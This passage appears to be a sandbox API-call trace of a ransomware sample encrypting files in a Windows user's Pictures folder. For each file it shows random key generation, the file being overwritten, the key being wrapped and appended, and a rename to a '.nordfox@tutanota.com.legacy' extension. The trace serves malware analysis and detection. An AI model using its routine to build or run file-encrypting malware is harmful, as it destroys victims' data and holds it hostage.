RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8420 [0113.038] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0113.038] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\ArxvN-8o1FXQH.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\arxvn-8o1fxqh.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0113.039] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=95371) returned 1 [0113.039] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1748b) returned 0x5e9bd0 [0113.039] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1748b) returned 0x2e20fd8 [0113.040] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x1748b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1748b, lpOverlapped=0x0) returned 1 [0113.044] SetFilePointer (in: hFile=0x600, lDistanceToMove=-95371, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.044] WriteFile (in: hFile=0x600, lpBuffer=0x2e20fd8*, nNumberOfBytesToWrite=0x1748b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1748b, lpOverlapped=0x0) returned 1 [0113.044] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.046] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0113.049] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1748b [0113.049] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.049] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.050] WriteFile (in: hFile=0x600, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.050] WriteFile (in: hFile=0x600, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.050] CloseHandle (hObject=0x600) returned 1 [0113.050] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0113.050] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0113.050] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\ArxvN-8o1FXQH.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\arxvn-8o1fxqh.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\ArxvN-8o1FXQH.bmp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\arxvn-8o1fxqh.bmp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.052] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8420 | out: hHeap=0x520000) returned 1 [0113.052] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0113.052] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0113.053] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0113.053] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0113.053] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0113.053] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.053] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0113.053] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\7QUkW.gif", dwFileAttributes=0x80) returned 1 [0113.053] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0113.053] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563a08 [0113.053] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0113.053] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\7QUkW.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\7qukw.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0113.053] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=71110) returned 1 [0113.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x115c6) returned 0x5e9bd0 [0113.054] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x115c6) returned 0x5fb1a0 [0113.054] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x115c6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x115c6, lpOverlapped=0x0) returned 1 [0113.057] SetFilePointer (in: hFile=0x600, lDistanceToMove=-71110, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.057] WriteFile (in: hFile=0x600, lpBuffer=0x5fb1a0*, nNumberOfBytesToWrite=0x115c6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fb1a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x115c6, lpOverlapped=0x0) returned 1 [0113.057] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.058] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fb1a0 | out: hHeap=0x520000) returned 1 [0113.059] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x115c6 [0113.059] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.059] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.061] WriteFile (in: hFile=0x600, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.061] WriteFile (in: hFile=0x600, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.061] CloseHandle (hObject=0x600) returned 1 [0113.061] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.061] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\7QUkW.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\7qukw.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\7QUkW.gif.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\7qukw.gif.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.063] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0113.064] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0113.064] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0113.064] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.064] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0113.064] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\7oqeq0SRAmoJE.gif", dwFileAttributes=0x80) returned 1 [0113.064] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0113.064] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8368 [0113.064] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\7oqeq0SRAmoJE.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\7oqeq0sramoje.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0113.064] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=51693) returned 1 [0113.064] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc9ed) returned 0x5e9bd0 [0113.065] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc9ed) returned 0x5f65c8 [0113.065] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xc9ed, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xc9ed, lpOverlapped=0x0) returned 1 [0113.067] SetFilePointer (in: hFile=0x600, lDistanceToMove=-51693, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.067] WriteFile (in: hFile=0x600, lpBuffer=0x5f65c8*, nNumberOfBytesToWrite=0xc9ed, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f65c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc9ed, lpOverlapped=0x0) returned 1 [0113.069] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc9ed [0113.069] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.069] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.070] WriteFile (in: hFile=0x600, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.070] WriteFile (in: hFile=0x600, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.070] CloseHandle (hObject=0x600) returned 1 [0113.070] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.070] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0113.070] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\7oqeq0SRAmoJE.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\7oqeq0sramoje.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\7oqeq0SRAmoJE.gif.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\7oqeq0sramoje.gif.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8368 | out: hHeap=0x520000) returned 1 [0113.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0113.084] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0113.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0113.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0113.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0113.085] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.085] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0113.085] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\62aOVCSrWeabP.png", dwFileAttributes=0x80) returned 1 [0113.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0113.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e81f8 [0113.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0113.088] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\62aOVCSrWeabP.png" (normalized: "c:\\users\\fd1hvy\\pictures\\62aovcsrweabp.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0113.089] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=93336) returned 1 [0113.089] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16c98) returned 0x5e9bd0 [0113.090] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x16c98) returned 0x2e20fd8 [0113.095] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x16c98, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x16c98, lpOverlapped=0x0) returned 1 [0113.105] SetFilePointer (in: hFile=0x600, lDistanceToMove=-93336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.106] WriteFile (in: hFile=0x600, lpBuffer=0x2e20fd8*, nNumberOfBytesToWrite=0x16c98, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x16c98, lpOverlapped=0x0) returned 1 [0113.106] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.108] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0113.110] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x16c98 [0113.110] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.110] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.115] WriteFile (in: hFile=0x600, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.115] WriteFile (in: hFile=0x600, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.115] CloseHandle (hObject=0x600) returned 1 [0113.116] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.116] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0113.116] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\62aOVCSrWeabP.png" (normalized: "c:\\users\\fd1hvy\\pictures\\62aovcsrweabp.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\62aOVCSrWeabP.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\62aovcsrweabp.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.123] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e81f8 | out: hHeap=0x520000) returned 1 [0113.129] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0113.129] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0113.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0113.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0113.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3438 [0113.129] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0113.129] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3438 | out: pbBuffer=0x5c3438) returned 1 [0113.130] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\491u6ffCX5Qycc.png", dwFileAttributes=0x80) returned 1 [0113.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0113.131] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e82b0 [0113.131] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0113.132] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\491u6ffCX5Qycc.png" (normalized: "c:\\users\\fd1hvy\\pictures\\491u6ffcx5qycc.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0113.132] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=100780) returned 1 [0113.133] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x189ac) returned 0x5e9bd0 [0113.133] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x189ac) returned 0x2e20fd8 [0113.136] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x189ac, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x189ac, lpOverlapped=0x0) returned 1 [0113.147] SetFilePointer (in: hFile=0x600, lDistanceToMove=-100780, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.147] WriteFile (in: hFile=0x600, lpBuffer=0x2e20fd8*, nNumberOfBytesToWrite=0x189ac, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x189ac, lpOverlapped=0x0) returned 1 [0113.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.153] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0113.159] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x189ac [0113.159] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.159] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.162] WriteFile (in: hFile=0x600, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.162] WriteFile (in: hFile=0x600, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.162] CloseHandle (hObject=0x600) returned 1 [0113.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0113.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0113.162] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\491u6ffCX5Qycc.png" (normalized: "c:\\users\\fd1hvy\\pictures\\491u6ffcx5qycc.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\491u6ffCX5Qycc.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\491u6ffcx5qycc.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.164] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e82b0 | out: hHeap=0x520000) returned 1 [0113.164] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0113.164] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0113.164] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0113.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0113.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3468 [0113.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0113.165] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\0rDesT6kKLWA05N2x0HJ.jpg", dwFileAttributes=0x80) returned 1 [0113.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0113.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0113.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0113.165] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\0rDesT6kKLWA05N2x0HJ.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\0rdest6kklwa05n2x0hj.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0113.165] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=84450) returned 1 [0113.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x149e2) returned 0x5e9bd0 [0113.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x149e2) returned 0x5fe5c0 [0113.166] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x149e2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x149e2, lpOverlapped=0x0) returned 1 [0113.169] SetFilePointer (in: hFile=0x600, lDistanceToMove=-84450, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.169] WriteFile (in: hFile=0x600, lpBuffer=0x5fe5c0*, nNumberOfBytesToWrite=0x149e2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fe5c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x149e2, lpOverlapped=0x0) returned 1 [0113.169] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.171] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fe5c0 | out: hHeap=0x520000) returned 1 [0113.172] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x149e2 [0113.173] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.173] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.176] WriteFile (in: hFile=0x600, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.177] WriteFile (in: hFile=0x600, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, 